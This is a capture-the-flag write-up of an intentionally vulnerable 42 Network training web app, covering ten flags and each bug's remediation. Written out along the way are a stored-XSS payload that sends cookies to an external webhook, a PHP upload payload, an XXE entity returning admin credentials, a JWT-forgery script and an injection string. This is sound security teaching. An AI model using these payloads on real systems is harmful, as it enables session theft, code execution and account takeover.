Complete Repository: onevilx/darkly Target Stack: FastAPI 0.104 / uvicorn 0.24 / Python 3.11 · PocketBase 0.22.4 backend Environment: 1337 School (42 Network) Findings: 10/10 Flags Recovered (6 Mandatory + 4 Bonus) · 19/19 Vulnerabilities Identified (10 Mandatory + 9 Bonus), plus one cross-cutting design-level write-up
Reading note: this article is a narrative highlight reel — the story of how each flag fell, told for readers rather than evaluators. It compresses and re-orders some of the raw exploitation steps for pace. Every exploit script, full technical explanation, flag, and screenshot lives in the onevilx/darkly repository — that’s the complete, evaluation-grade write-up.
Every web developer eventually inherits an application that “works.” It authenticates users, it renders forums, it uploads avatars, it resets passwords. The forms submit, the pages load, the demo passes. And yet, sitting silently beneath that functioning surface, is an entire second application — the one an attacker sees. Where the developer sees a profile page, the attacker sees an object reference they can increment. Where the developer sees an avatar uploader, the attacker sees a path to arbitrary code execution. Where the developer sees a helpful password hint, the attacker sees an unsalted MD5 hash begging to meet rockyou.txt.
Darkly is the 42 Network’s deliberate exercise in learning to see that second application. It is a purpose-built, intentionally vulnerable web platform — a fictional campus portal with a forum, an agenda, a grade viewer, a newsletter, and a staff area — seeded with, per the project subject, 19 distinct vulnerabilities hiding 10 flags. The subject splits the hunt in two: the mandatory part asks for 6 flags (4 won by escalating privilege inside the app step by step until reaching administrator, 2 more of your choice) across 10 explained vulnerabilities, and the bonus part, gated on a perfect mandatory score, asks for 4 additional flags (10 total) across 5 more vulnerabilities, at least one of which mints no flag at all. The mission itself is uncompromising and narrow: the target is the web application, and nothing else. No decompiling the VM, no attacking the operating system, no shortcuts through the appliance. The whole point of Darkly is to exploit the website the way a real adversary would — from the outside, one HTTP request at a time.
This article is an exhaustive walkthrough of that engagement: the reconnaissance, the six mandatory flags and four bonus flags I recovered (ten in total), the ten additional OWASP-class weaknesses I documented for the bonus, and the way individual bugs chain into a full authentication bypass.
1. Reconnaissance: Reading the Application Like an Attacker

The platform greets an unauthenticated visitor as a guest. There is a sign-in form, a forum, an agenda, and various campus links — all the surface area of a normal portal. The first instinct of a defender is to log in. The first instinct of an attacker is to catalogue what is reachable without logging in, and to read every byte the server volunteers for free.

The obvious starting point is robots.txt. It is a confession dressed as a courtesy: a file whose entire purpose is to name the endpoints the operator wishes you would not visit. Darkly’s robots.txt disallows a set of high-value paths — some forbidden (403), some redirects, some 404s — but one of them, /api/grades, is simply public when it should not be. That single misconfiguration becomes flag #5 later; for now it goes in the notebook.
The second discipline of recon is reading the HTML source, the response headers, and the deploy log. Darkly is generous here in a way that mirrors real applications far more than students expect. The pages carry:
x-powered-by: Python/3.11 FastAPI/0.104andserver: uvicorn/0.24.0— a precise stack fingerprint.x-pocketbase: http://localhost:8090— a signpost pointing directly at the backend datastore.- An HTML-comment “deploy log” on every page, in which the developers cheerfully admit their sins: “disabled defusedxml temporarily,” “added telemetry (it’s just a console.log),” “migrate session cookie to httponly=true — ticket #4201.”
Those comments are not flavour text. Each one is a root cause narrated by the very team that introduced it. defusedxml temporarily disabled is the XXE (flag #7). httponly not yet migrated is why stored XSS can steal a session cookie (flag #3). An attacker who reads the developers’ own words has, in effect, been handed the threat model. The lesson lands before a single exploit fires: your application talks, and it does not know how to keep a secret.
2. Flag #1 — Broken Access Control (IDOR): “Your Profile Is Mine”
Broken Access Control tops the OWASP Top 10 for a reason — it is the most common, the most impactful, and the easiest to introduce by accident. It is what happens when the server checks whether you are authenticated but forgets to check whether you are authorised for this specific object.
Browsing the forum as a guest, I followed a “scheduled maintenance” post to a View Profile link. That link led to another user’s profile — internal data, visible to an unauthenticated visitor. There was no ownership check between the requester and the resource. The profile even carried a private note captioned “Only visible to wil” — visible, of course, to me.

FLAG{1d0r_ur_pr0f1l3_1s_m1n3}Insecure Direct Object Reference (IDOR) is the concrete shape of Broken Access Control here: the object identifier in the URL is trusted, and whoever holds it is served. Access control must be enforced server-side, per object, on every request — never inferred from the mere possession of a link or an ID. This single class of flaw recurs throughout Darkly, and in the real world it recurs throughout the industry.
3. Flag #2 — Account Takeover → Unrestricted File Upload
With guest-level surface exhausted, the natural pivot is authentication. The forum contains a student publicly complaining that he still hasn’t changed his password — and, thanks to the same profile exposure from §2, his email address is readable. Two of the three ingredients for account takeover are already on the table.
The third comes from the password-reset flow (which I dissect properly in §5). It let me set a new password for that student’s account. Once inside, the interesting surface changes entirely: a logged-in student can post to the forum, search, edit their profile — and upload an avatar. An upload endpoint is a connection to the server’s filesystem, and the only question that matters is: does it validate what it accepts?
It did not. 
I uploaded a trivial PHP payload as a proof of concept:
<?php echo system('id'); ?>The server accepted it and executed it, surrendering the flag:

FLAG{unr3str1ct3d_upl0ad_g0_brrr}A note on responsible proof-of-concept. The payload above is a minimal demonstrator, not a weaponised shell. In a real engagement this is the exact moment a reverse shell would be staged — but the goal of a report is to prove exploitability, not to cause damage. Show the mechanism, capture the evidence, and stop.
Unrestricted file upload is dangerous precisely because it converts “store this file” into “run my code.” Defence requires a defence-in-depth stack: validate the MIME type and the extension against an allow-list, rewrite filenames, store uploads outside the web root, serve them from a domain that never executes code, and strip execute permissions. Any single one of these, correctly applied, breaks the chain.
4. Flag #3 — Stored XSS Against the Moderation Bot
The forum advertises a feature that is really a challenge: “Every new post is opened by our automated moderation bot for review, usually within a minute.” Translated from marketing into threat-model terms: an automated, privileged client will fetch and render my attacker-controlled content. That is the textbook precondition for stored cross-site scripting — the payload is persisted server-side and later executed in someone else’s browser context.

I planted a comment carrying a cookie-exfiltration script. Because the moderation bot renders posts as it reviews them, the payload fires in the bot’s session:
<script> var webhookUrl = "https://webhook.site/<my-unique-id>"; fetch(webhookUrl + "?c=" + encodeURIComponent(document.cookie));</script>
Within the promised minute, my webhook received a request carrying the bot’s cookies — and the flag:

FLAG{xss_st0r3d_1s_n0t_4_f34tur3_w1l}Two properties of the platform combine to make this fatal rather than merely annoying. First, the input is rendered without output encoding. Second, the session cookie is not HttpOnly, so document.cookie hands JavaScript the raw session token (see §13.7). Fix either one and the exfiltration breaks: context-aware output encoding stops the script from executing at all; HttpOnly stops a script that does execute from reading the cookie. A strict Content-Security-Policy would be the third, independent line of defence. Darkly ships none of them.
5. Flag #4 — Insecure Password Reset: When Your “Token” Is Just MD5(email)
The reset flow that enabled the account takeover in §3 deserves its own dissection, because it is a masterclass in client-side security theatre. The tip-off, fittingly, came from a student — benjamin — publicly outing the bug on himself in the forum: “Locked myself out last night and used the password reset. The link worked instantly — no email, the token was just sitting in the URL. And get this: that token is literally the md5 of my email address. Anyone could reset anyone’s account this way — and once they’re in, your account recovery code is just sitting there on your profile settings page.” He was right on both counts, and he’d just told me exactly where the flag would be sitting once I was in.

Requesting a reset for his own email sends back a link containing a long, official-looking “security token.” It looks like entropy. It is not. Decoding it confirmed his claim exactly — it is nothing more than the MD5 hash of the account’s email address:

token == md5(victim_email)Since email addresses are public (§2), anyone can compute any user’s reset token offline and drive the reset to completion without ever receiving the email. The server was not validating the token server-side against stored state — it was trusting a value the attacker can reproduce at will. I set a new password with the forged token, logged in as benjamin, and — exactly as he’d described — the flag was sitting in plaintext on /profile/me/settings, under a box literally labelled “Account recovery code”:

FLAG{r3s3t_t0k3n_w4s_just_md5_lol}A password-reset token must be high-entropy, single-use, time-limited, and bound server-side to the account — generated with a CSPRNG, stored (hashed) in the database, and invalidated on use. A deterministic hash of a public identifier is not a token; it is a formula the attacker already knows.
6. Flag #5 — The Hidden-in-Plain-Sight API Endpoint
Back to that robots.txt note from recon. Most of its disallowed paths behaved defensively — 403s and redirects. But /api/grades answered a guest request with data it should never have exposed, including the flag:

FLAG{md5_1s_4_n4m3pl4t3_n0t_4_l0ck}The lesson is blunt: robots.txt is not access control. It is a politeness convention for well-behaved crawlers, and to an attacker it is a curated map of exactly where to look. Sensitive endpoints must be protected by authentication and authorisation, not by a request that they please not be visited.
7. Flag #6 — Mass Assignment: Patch Your Own Role
This is my favourite bug in the whole platform, because it is the purest example of the server trusting the client to describe itself. As a student, my privileges were minimal. Escalating meant becoming campus staff — and a hint in the /staff area all but drew the map: try PATCH /api/profile.
Using Burp Suite’s Repeater to craft the request by hand, I sent a PATCH to /api/profile with a body that included a field I was never meant to control:
PATCH /api/profile HTTP/1.1Host: localhost:4942Content-Type: application/jsonCookie: session=<my student session>
{"role":"cadet"}
The server responded 200 OK, applied the change, and my account climbed the ladder — unlocking a Staff Area with a dashboard, and the flag:

FLAG{just_p4tch_y0ur_0wn_r0l3_lol}Mass assignment occurs when a framework binds request fields directly onto a data model without an allow-list, so the client can set fields the developer assumed were internal — role, is_admin, balance, verified. The fix is to never bind privileged fields from user input: use explicit input DTOs / allow-listed fields, and make authorisation-relevant attributes writable only through a separate, authorised code path.
8. Flag #7 — XXE Escalating to SSRF: Reaching localhost From the Outside
The agenda feature accepts an XML upload, and the deploy log has already confessed that defusedxml was “disabled temporarily” six months ago. An XML parser with external-entity resolution enabled is a Server-Side Request Forgery primitive wearing a data-import costume: it can be made to fetch URLs from the server’s own network position, including localhost services an outside attacker can never reach directly.
A hint inside /staff/dashboard pointed at an internal configuration endpoint, /internal/config, that returns 403 to external callers. So I let the server fetch it for me, via an external XML entity:
<?xml version="1.0"?><!DOCTYPE agenda [ <!ENTITY xxe SYSTEM "http://127.0.0.1:4942/internal/config">]><agenda> <event> <title>&xxe;</title> <date>2042-01-15</date> </event></agenda>
The parser resolved the entity server-side and reflected the internal config straight back into the response:
{ "jwt_secret": "42network", "pb_admin_email": "admin@42network.local", "pb_admin_password": "Darkly42Admin!", "app_version": "1.0.0", "campus": "wilcity", "darkly_flag": "FLAG{d3fus3dxml_n3xt_spr1nt_pr0m1s3}"}FLAG{d3fus3dxml_n3xt_spr1nt_pr0m1s3}This is the single most valuable request in the entire engagement — not for its flag, but for its loot. It leaks the JWT signing secret (42network, weaponised in §13.3) and the PocketBase admin credentials (weaponised immediately in §9). One misconfigured XML parser dismantles the trust boundary between “external attacker” and “internal service.” Re-enable defusedxml (or disable DTD/entity processing entirely), and never expose secrets through any server-reachable config route.
9. Flag #8 — Privilege Escalation via the PocketBase Admin Console
The XXE leak from §8 handed me the PocketBase admin email and password, and the x-pocketbase header from recon told me exactly where to use them: the admin console at http://localhost:8090/_/. Logging in as admin dissolves the application’s entire access-control model — the datastore has no notion of the app’s “roles,” only full CRUD over every collection.

From there I could read every user, every collection, and edit any record — including elevating my own account from cadet to god and setting my level arbitrarily. Enumerating the collections, an internal_audit collection held the flag:

FLAG{th3_und3rsc0r3_sl4sh_kn0ws_th3_w4y}The takeaway is about blast radius. The upstream sin was leaking credentials (§8); the reason that sin is catastrophic is that the admin console was reachable and the credentials were static and shared. Backend admin interfaces must never be exposed to untrusted networks, must use strong unique credentials from a secrets manager, and must sit behind an independent authentication boundary so that one leaked config file cannot become total database compromise.
10. Flag #9 — Local File Inclusion via Path Traversal
The /project page references a document, faq_darkly.pdf, through a file-serving parameter — the classic shape of a Local File Inclusion sink. Direct attempts at /etc/passwd returned 403, and naive traversal returned 404, so the endpoint was partially hardened. The breakthrough came, once again, from reading the response headers, which advertised the backup configuration:

x-backup-schedule: daily@03:00x-backup-dest: localhost:/opt/pocketbase/pb_datax-backup-exclude: data/private_notes.txtThe server had just named the sensitive file for me — private_notes.txt — and roughly where it lived. After iterating on the traversal depth (the filter mishandled ../ sequences at a particular depth rather than normalising the path), the file resolved and yielded the flag:

FLAG{d0t_d0t_sl4sh_4ll_th3_w4y_d0wn}Path-traversal defence is not string blocklisting — attackers have endless encodings for ../. The correct approach is to canonicalise the resolved path and verify it remains inside an explicitly permitted base directory, or better, to abandon filesystem paths entirely and serve documents by opaque ID from a lookup table. And, as a recurring theme: stop announcing your secrets in HTTP headers.
11. Flag #10 — CSRF: When SameSite=Lax Is the Only Line of Defence
The last flag sits behind POST /profile/me/settings, the endpoint that updates a logged-in user’s first_name, last_name, and campus. Inspecting the session cookie set at login showed exactly one defensive attribute:
set-cookie: session=eyJhbGciOiJIUzI1NiIs...; Path=/; SameSite=laxNo Secure, no HttpOnly. Just SameSite=Lax — a browser-side mitigation, not a server-side control. That distinction is the entire vulnerability.
My first instinct was the classic SameSite=Lax bypass: Lax still allows the cookie on a top-level cross-site GET navigation, so if the same state change could be triggered via GET /profile/me/settings?first_name=..., a simple link click would carry the cookie. It didn’t — the GET handler only renders the settings page; it never applies an update. That door is closed.
So I went back to the more fundamental question: does the server itself validate who is asking? I sent the real POST to Burp Repeater and attached a completely fabricated Origin header, pointing at a domain I do not own:
POST /profile/me/settings HTTP/1.1Origin: https://example.comCookie: session=<a valid session>
first_name=CSRF_ORIGIN_TEST&last_name=Doe&campus=Wilcity
The server accepted it without question — 302, and the flag was sitting in the redirect target:
location: /profile/me/settings?csrf_flag=FLAG{csrf_4ny_0r1g1n_1s_w3lc0m3}FLAG{csrf_4ny_0r1g1n_1s_w3lc0m3}A caveat worth stating precisely, because I tested it rather than assumed it. I built the textbook exploit — an auto-submitting <form method="POST"> hosted on a separate origin — and drove it against the live app in a real, unmodified Chromium instance with the victim’s cookie already set, exactly as a victim opening an attacker’s page would experience it. The browser correctly withheld the SameSite=Lax cookie on that cross-site POST, and the request bounced to /login. The naive version of this attack does not work against a compliant modern browser.
That does not make the finding cosmetic. It relocates the real exposure to precisely the gap SameSite=Lax does not cover: an attacker-controlled same-site subdomain (cookies scoped by SameSite still travel across subdomains of the same registrable domain), an older or non-compliant browser or embedded webview, a proxy or browser extension replaying a captured request, or — as demonstrated above — anyone with the ability to issue the HTTP request directly. The server has zero defense-in-depth of its own: no CSRF token, no Origin/Referer check. It is trusting a client-side cookie attribute to do a job that belongs on the server.
The remediation is layered, deliberately: validate Origin (falling back to Referer) server-side on every state-changing request, and pair that with a synchronizer CSRF token bound to the session. SameSite=Lax is a good default — it is not, on its own, a security boundary a server is entitled to rely on.
12. The Chain: How Bugs Become One Total Compromise
Individually, each flag is a lesson. Together, they are a kill chain — and seeing the chain is the real skill Darkly teaches:
- IDOR (§2) exposes a victim’s email.
- Insecure reset (§5) —
md5(email)— turns that email into account takeover. - Account takeover (§3) unlocks the avatar uploader.
- Unrestricted upload (§3) yields code execution.
- Mass assignment (§7) escalates role without any of the above.
- XXE→SSRF (§8) leaks the JWT secret and the PocketBase admin credentials.
- PocketBase admin (§9) converts those credentials into total database control.
- Weak/leaked JWT secret (§13.3) lets an attacker forge a valid session for any user with no password at all.
- CSRF (§11) needs none of the above — any authenticated session at all is enough to forge a state-changing request, because the server never checks who’s really asking.
No single fix saves this application, but note how many independent defences would each have broken the most damaging link: HttpOnly on the cookie, output encoding on the forum, an allow-list on PATCH /api/profile, defusedxml on the parser, a real reset token, a secrets manager for the JWT key, server-side Origin validation on state-changing requests. Security is not one wall; it is depth.
13. Bonus: Auditing the Remaining OWASP Top 10 Weaknesses
The project subject asks, for the bonus, 4 additional flags plus 5 more explained vulnerabilities — including at least one that exposes no flag. Beyond the ten flag-bearing bugs above (six mandatory, four bonus), I confirmed nine more distinct weaknesses live against the target (breaches 11–19) — bringing the running total to 19, which lines up exactly with the subject’s stated platform-wide count, and nearly doubling the 5-vulnerability bonus requirement on its own. None of them mint a flag in this build; each of them weakens the platform. I document them here in the same spirit the OWASP Top 10 intends: not as trophies, but as a defensive checklist.
On top of those 19, there’s a 20th write-up: Insecure Design (A04). It doesn’t add a new instance — every point in it traces back to a bug already covered above (the MD5-as-secret pattern from breaches 04 and 14, the missing anti-automation from breach 19, the exposed secrets from breaches 07 and 16) — it steps back and names the design-level pattern those bugs share, rather than counting as a 20th distinct vulnerability.
13.1 — Reflected XSS (Newsletter)
The /newsletter banner echoes the email parameter back unescaped (...&msg=subscribed), executing arbitrary script in the victim’s session. Combined with the non-HttpOnly cookie (§13.7), a crafted link steals a higher-privileged user’s session token. Fix: context-aware output encoding + CSP.
13.2 — Open Redirect
/redirect?next=https://evil.example.com follows an attacker-controlled absolute URL (307), enabling phishing under a trusted domain and token leakage in OAuth-style flows. Fix: allow-list internal paths; reject absolute////scheme URLs.
13.3 — Weak & Leaked JWT Signing Secret → Session Forgery
The session cookie is HS256-signed with the secret 42network — trivially guessable, and leaked twice (base64 in a forum post, and in the XXE-dumped config). Crucially, the server does validate the signature (an alg:none, wrong-key, or unsigned token is rejected with a 302 to /login), but it reads the effective role from the database record identified by the sub claim, ignoring the token’s own role field. So the exploit is not “set role:god” — that field is decorative. It is forging a validly-signed token for any sub:
import hmac, hashlib, base64, jsonb = lambda x: base64.urlsafe_b64encode(x).rstrip(b'=').decode()h = b(b'{"alg":"HS256","typ":"JWT"}')p = b(json.dumps({"sub":"k1asdfeditojrb4","login":"wil","role":"god", "exp":2000000000}, separators=(',',':')).encode())sig = b(hmac.new(b"42network", f"{h}.{p}".encode(), hashlib.sha256).digest())print(f"session={h}.{p}.{sig}")Impersonating a victim’s sub returns 200 on /admin and /staff/dashboard — a complete authentication bypass to any account, without credentials. Fix: long random secret-managed key, rotation, and preferably server-side sessions or short-lived RS256 tokens.
13.4 — Weak Passwords + Exposed MD5 Password Hints
Every user carries a pw_hint that is simply the unsalted MD5 of the password, readable via the IDOR/PocketBase exposure. Cracking against rockyou.txt recovered real credentials (benjamin:b3njamin!), confirmed against PocketBase’s auth-with-password. Fix: never derive a hint from the password; hash with bcrypt/argon2; enforce strength.
13.5 — PocketBase Filter Injection (NoSQL-style)
/api/grades?student=<id> and the forum search parameter concatenate user input into a PocketBase filter string. Injecting x" || "1"="1 breaks out of the filter and dumps all records. Fix: parameterised filters (filter="student={:id}"), never string concatenation.
13.6 — Sensitive Data / Schema Disclosure & BOLA
/api/docs-internal hands an attacker the exact mass-assignment field list and the grades-injection sink; /api/users/{id} returns private fields (private_note, pw_hint, recovery_code) for any id, breaking object-level authorisation. Fix: remove debug endpoints from production; enforce per-object authorisation.
13.7 — Security Misconfiguration
Verbose stack/version headers (x-powered-by, server), backend signposting (x-pocketbase), backup metadata headers naming the LFI target, a non-HttpOnly session cookie, and an internet-reachable admin console. Each one shortcuts another breach in this report. Fix: strip informational headers; HttpOnly+Secure+SameSite; isolate the admin console.
13.8 — Vulnerable & Outdated Components (A06)
The team disabled defusedxml on purpose (deploy log) — the direct root cause of the XXE — and pins outdated FastAPI 0.104, uvicorn 0.24.0, and PocketBase 0.22.4. Fix: re-enable safe XML parsing; patch and pin to maintained releases.
13.9 — Security Logging & Monitoring Failures (A09)
Six wrong logins in a row all return 302 — no lockout, no throttling, no captcha — and the “telemetry” is admitted in the deploy log to be “just a console.log.” Hundreds of requests, credential guessing, session forgery, and full DB dumps ran unthrottled and (observably) unalerted. Fix: real security-event logging, alerting, and login rate-limiting.
13.10 — Insecure Design (A04)
Several weaknesses here are design choices, not isolated bugs — the system is insecure as specified: the reset token is md5(email) and every pw_hint is md5(password) (MD5 used as a secret), the reset token is predictable-by-construction, there is no anti-automation on the auth flows, and secrets/schema are reachable by design (/internal/config, /api/docs-internal). Patching single endpoints can’t fix a threat model that was never applied. Fix: threat-model up front; CSPRNG single-use server-bound tokens; bcrypt/argon2; rate-limit auth; keep secrets and schema off reachable routes.
14. Closing Thoughts: The Two Applications
Darkly’s real lesson is not any single payload — it is a way of seeing. Every feature in a web application is simultaneously a capability for the user and a primitive for the attacker, and secure engineering is the discipline of never losing sight of the second reading. A profile link is also an object reference. An uploader is also a code path. A hint is also a hash. A moderation bot is also a privileged client rendering your input. A config endpoint is also a secrets leak waiting for the right XML entity. A cookie attribute is also the only line of defence, if nothing server-side backs it up.
Ten of those dual readings became flags. Ten more became a defensive checklist. None of them are fixed by a single patch — the pattern across all twenty is the same: some client-observable behaviour (a redirect, a cookie flag, a robots.txt disallow, a hint field) was quietly doing the job that server-side validation was supposed to do. Darkly’s real curriculum is learning to notice exactly where that substitution happened, on every feature, before an attacker does.
Explore the Codebase
Ready to inspect every exploit.sh, read the full per-breach explanations, and see the flags and screenshots for yourself? Access the complete, documented repository on GitHub:
onevilx / darkly
10 flags, 19 explained vulnerabilities plus a design-level synthesis, and per-breach exploit scripts against a 42 Network training platform
Disclosure note: This is an intentionally vulnerable 42 Network training platform. Everything here was performed against the sanctioned target, within the project’s stated scope.
onevilx